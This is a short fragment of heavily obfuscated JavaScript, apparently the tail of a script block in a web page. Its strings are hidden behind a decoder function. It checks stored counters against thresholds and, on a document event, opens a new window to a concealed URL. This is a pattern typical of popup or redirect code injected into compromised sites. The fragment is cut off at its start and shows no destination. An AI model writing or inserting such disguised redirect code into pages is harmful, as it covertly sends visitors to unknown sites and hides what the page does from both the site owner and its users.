_0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());</script>